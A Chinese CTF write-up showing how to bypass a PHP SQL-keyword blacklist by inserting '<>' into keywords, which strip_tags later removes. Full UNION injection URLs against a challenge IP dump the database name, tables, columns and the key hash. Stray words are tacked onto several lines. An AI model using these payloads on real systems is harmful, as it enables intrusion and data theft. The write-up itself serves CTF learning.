一次简单的ctf SQL注入绕过

注入地址:http://103.238.227.13:10087/index.php?id=1php

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感关键字!'.$value);
	}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可见该过滤的都过滤了的。通常的绕过还真没办法。可是为防止XSS把<>之类的给过滤了。那么就有那么一个姿式sel<>ect如此即可以绕过。sql


 

爆数据库数据库

http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1 unio<>n sele<>ct 1,database()#xss

爆表spa

http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1+unio<>n+sele<>ct+1,concat(group_concat(distinct+tab<>le_name))+fro<>m+info<>rmation_schema.ta<>bles+where+ta<>ble_schema=0x73716C33--#blog

爆列ip

http://103.238.227.13:10087/index.php?id=-1+uni<>on+sele<>ct+concat(group_concat(distinct+col<>umn_name)),2+f<>rom+info<>rmation_sc<>hema.colu<>m<>ns+where+tab<>le_schema=0x73716C33#+hash

爆内容it

http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m sql3.key#io


重点是最后的sql3.key有个坑。按照日常是直接:

http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m key#

可是这样是不行的。

缘由其实挺简单的这里是CTF的套路。这不知道还真觉得是什么。

 

如上图所示,其实他自己的SQL语句相似:select * from sql3.key where id = 1

他前面使用的是sql3.key也就是说他并无use因此你直接select * from sql3.key where id =1 union select 1,2 from key是不行的。由于他没有使用sql3这个数据库(可是执行union select 1,database()的时候仍是能够显示sql3这个数据库出来的)因此key根本不存在。天然也就不行!感谢米哥指导。太机智了。真心佩服出题人。真想对他说。老子真的服了U

相关文章
相关标签/搜索